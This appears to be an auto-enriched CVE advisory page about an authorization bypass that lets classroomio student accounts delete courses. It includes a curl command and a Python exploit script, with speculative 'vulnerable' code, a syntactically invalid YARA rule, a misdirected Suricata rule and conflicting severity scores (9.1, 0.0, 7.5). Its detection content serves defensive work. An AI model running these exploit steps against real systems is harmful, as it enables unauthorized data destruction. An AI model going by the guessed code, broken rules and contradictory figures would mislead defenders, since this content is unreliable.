☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-65669

CVE-2025-65669 Privilege Escalation in Classroomio
📅 PUBLISHED: 2025-11-26 00:00 UTC 🔄 UPDATED: 2026-10-17 11:48 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65669 is a critical authorization bypass vulnerability in classroomio version 0.1.13. The flaw allows any authenticated student account to delete courses from the Explore page without proper authorization checks. This bypasses the intended admin-only deletion restriction, enabling privilege escalation and unauthorized data destruction. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the lack of authentication enforcement. No patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the classroomio application, which is likely distributed as a Node.js package. If classroomio is installed via npm, the supply chain risk includes potential malicious updates or forks that could exploit this flaw. Users should verify package integrity and monitor for official patches.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs a student account.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Impact confined to the application.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): High (H) – Unauthorized deletion of courses.
  • Availability (A): None (N) – No denial of service.

Threat Level: High (7.5) – Unauthorized data destruction with low complexity.

Deep Dive & Mechanics

The vulnerability resides in the course deletion endpoint on the Explore page. The application fails to enforce role-based access control (RBAC) for the DELETE operation. While the UI may hide the delete button for non-admin users, the backend API does not verify the user's role before processing the request. An attacker can directly send a DELETE request to the course endpoint with a valid student session token, bypassing the intended admin-only restriction.

Root Cause: Missing authorization check in the server-side handler for course deletion. The code likely checks authentication (valid session) but not authorization (admin role).

Attack Flow:

  1. Attacker logs in as a student.
  2. Intercepts or crafts a DELETE request to /api/courses/{courseId}.
  3. Server processes the request without verifying admin privileges.
  4. Course is permanently deleted.

Vulnerable vs. Patched Code

Vulnerable Code (server.js):

app.delete('/api/courses/:id', (req, res) => {
  // Only checks if user is authenticated
  if (!req.session.userId) {
    return res.status(401).send('Unauthorized');
  }
  // Missing admin role check
  Course.findByIdAndDelete(req.params.id, (err) => {
    if (err) return res.status(500).send('Error');
    res.status(200).send('Deleted');
  });
});

Patched Code (server.js):

app.delete('/api/courses/:id', (req, res) => {
  // Check authentication
  if (!req.session.userId) {
    return res.status(401).send('Unauthorized');
  }
  // Check authorization - admin only
  if (req.session.role !== 'admin') {
    return res.status(403).send('Forbidden');
  }
  Course.findByIdAndDelete(req.params.id, (err) => {
    if (err) return res.status(500).send('Error');
    res.status(200).send('Deleted');
  });
});

Exploitation & Lab Setup

Red Team

Prerequisites:

  • classroomio 0.1.13 instance
  • Valid student account credentials

Exploit Steps:

  1. Log in as a student and obtain session cookie.
  2. Use curl to send a DELETE request:
curl -X DELETE http://target.com/api/courses/123 \
  -H "Cookie: session=student_session_token"
  1. Verify course deletion by checking the Explore page.

Automated Exploit Script:

import requests

target = "http://target.com"
session = requests.Session()
session.cookies.set("session", "student_session_token")

course_id = input("Enter course ID to delete: ")
response = session.delete(f"{target}/api/courses/{course_id}")
if response.status_code == 200:
    print(f"Course {course_id} deleted successfully.")
else:
    print(f"Failed: {response.status_code}")

Blue Team

Detection:

  • Monitor for DELETE requests to /api/courses/ from non-admin users.
  • Alert on multiple course deletions in a short time frame.

Hunting Query (Splunk):

index=web_logs method=DELETE uri=/api/courses/*
| where role!="admin"
| stats count by user, uri

Indicators of Compromise (IOCs)

  • Network: DELETE requests to /api/courses/{id} with student session cookies.
  • Logs: DELETE /api/courses/ entries with role: student in access logs.
  • System: Missing courses in the database that were not deleted by admins.

Detection Engineering

YARA Rule

rule CVE_2025_65669_Classroomio_Delete_Bypass {
    meta:
        description = "Detects classroomio code with missing authorization check in course deletion"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65669"
    strings:
        $s1 = "Course.findByIdAndDelete" nocase
        $s2 = "req.session.userId" nocase
        $s3 = "app.delete('/api/courses/:id'" nocase
    condition:
        all of ($s*) and not for any of ($s*) : ( # no admin check
            $admin_check = "role" nocase
        )
}

Sigma Rule

title: Classroomio Course Deletion by Non-Admin User
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized course deletion attempts by student accounts
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        method: 'DELETE'
        uri|startswith: '/api/courses/'
        user_agent|contains: 'curl'
    condition: selection
falsepositives:
    - Admin testing with curl
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-65669 Classroomio Course Deletion Bypass";
    flow:to_server;
    http.method; content:"DELETE";
    http.uri; content:"/api/courses/";
    http.cookie; content:"session";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the course deletion endpoint for non-admin users via web application firewall (WAF) rules.
  2. Implement role-based access control (RBAC) on the server side.
  3. Review and update all API endpoints to enforce authorization.

Long-Term Fix:

  • Apply the patched code example above.
  • Conduct a full security audit of all endpoints.
  • Implement automated testing for authorization checks.

Workaround:

  • Temporarily remove the delete functionality from the Explore page UI and backend until a patch is released.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65669/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.